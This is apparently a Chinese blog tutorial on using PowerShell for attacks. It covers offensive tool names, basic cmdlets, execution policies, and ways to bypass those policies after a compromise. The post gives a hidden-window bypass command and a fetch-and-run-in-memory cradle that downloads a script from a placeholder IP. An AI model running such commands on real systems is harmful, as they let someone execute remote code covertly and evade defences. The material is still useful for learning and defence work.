PowerShell攻击指南

PowerShell攻击指南

0x1 powershell技术的优点

powershell是一种命令行外壳程序和脚本环境,内置于各种Windows版本中,包括Windows7/Windows 2008 R2以及更高的版本中,使用命令行,用户可以编写利用.NET Framwork的强大功能。一旦攻击者有机会在一台计算机上运行代码, 他们就会下周PowersShell脚本(后缀名为.ps1)到磁盘中执行,甚至无需写道磁盘中执行,可以直接在内存中执行。
PowerShell作为当前流行且得力的攻击攻击主要因为以下的优点:
a) 在windows7 以上的系统中都有安装
b) ps1脚本可以运行在内存中,无需写入磁盘
c) 可以从另一个系统中下载ps1脚本并执行
d)目前有很多攻击工具是ps脚本开发的
e)很多安全软件并不能检测ps的活动
f) cmd.exe通常会被阻止运行,但是powershell不会被系统阻止
g) 可以用来管理活动目录

0x02 powershell开发的一些攻击工具

a) PowerSplit:Powershell攻击工具中被广泛使用的PowerShell后期漏洞利用框架,用于信息探测,特权提升,凭证窃取,持久化等操作。
b) Nishang: 基于PowerShell的渗透测试专用工具,集成了框架,脚本和各种Payload,包含下载和执行,键盘记录,DNS,延时命令等脚本。
c) Empire:基于PowerShell的远程控制木马,可以从凭证数据库中导出和跟踪凭证信息,常用于提供前期漏洞利用的集成模块,信息探测,凭证窃取,持久化控制。
d)PowerCat: PowerShell版的NetCat,有着网络工具的“瑞士军刀”美誉,它通过UCP和TCP在网络中读写数据。通过与其他工具结合和重定向,读者可以在脚本中以多种方式使用它。

0x03 powershell的常用命令

查看powershell版本
Get-Host
$PSVersionTable

powershell的命令叫做cmdlet,类似cmd命令,命令采用"动词-名词"形式。动词一般为Add,New,Remove,Get,Set(添加,增删查改),windows powershell可以分为命令cmdlet,函数,脚本或模块
命令帮助跟新:
管理员权限运行:Update-Help
运行完毕使用命令查看具体命令的帮助信息:Get-Help
新建文件: New-Item b.txt -ItemType File
新建文件夹: New-Item c -ItemType Directo
删除文件/文件夹:Remove-Item 文件名/目录名
设置文件内容: Set-Content .\b.txt -Value “hello,world” 如果原来有内容,会覆盖先前的内容
追加文件内容: Add-Content .\b.txt “hello,girls”
显示文件内容: Get-Content .\b.txt
清除文件内容: Clear-Content .\b.txt

0x04 poershell执行策略

为了防止恶意脚本执行,powershell有一个执行策略,默认情况下,这个执行策略被设置为受限: Restricted(默认设置,脚本不能执行)
Get-ExecutionPolicy :使用此命令查看策略
Get-ExecutionPolicy -Scope CurrentUser:执行策略有作用域的概念,查看当前用户的执行权限
执行策略有四种,相当于四种权限级别:
Restricted : 脚本不能运行
RemoteSigned: 本地创建的脚本可以运行,但从网上下载的脚本不能运行(简单说来就是远程脚本需要数字签名才能运行)
AllSigned:脚本需要受信任的发布者签名时才能运行
Unrestricted:允许所有的script运行

设置powershell的执行策略:
Set-ExecutionPolicy

0x05 powershell执行策略的绕过

如果想要在目标机器上运行ps脚本,需要使用管理员权限将执行策略将Restricted 改成Unrestricted。但是在后渗透过程中,可能只是将ps1脚本上传到目标服务器,还没有取得管理员权限,只是取得普通shell权限,那么使用普通权限在powershell中使用以下命令执行ps1脚本,命令如下:
在cmd窗口或者powershell窗口中都可以执行:
a)绕过本地权限执行
powershell.exe -ExecutionPolicy Bypass -File .\a.ps1
在这里插入图片描述
b) 本地绕过权限并隐藏地执行脚本
PowerShell.exe-ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -Nonlnteractive -NoProfile -File a.ps1
此命令会无窗口的执行脚本

c) 远程代码执行
IEX (New-Object Net.WebClient).DownloadString(“http://<ip_address>/path/xxx.ps1”)
远程代码绕过执行
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile –NonI IEX(New-ObjectNet.WebClient).DownloadString(“xxx.ps1”);[Parameters]

参数解释:
WindowStyle Hidden:隐藏窗口
NoLogo:启动不显示版权标志的PowerShell
NonInteractive (-Noni):非交互模式,powershell不为用户提供交互提示
NoProfile(-NoP): PowerShell控制台不加载当前用户配置
Noexit:执行后不退出Shell,在使用键盘记录等脚本时候需要此参数

使用命令绕过权限:
在这里插入图片描述

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值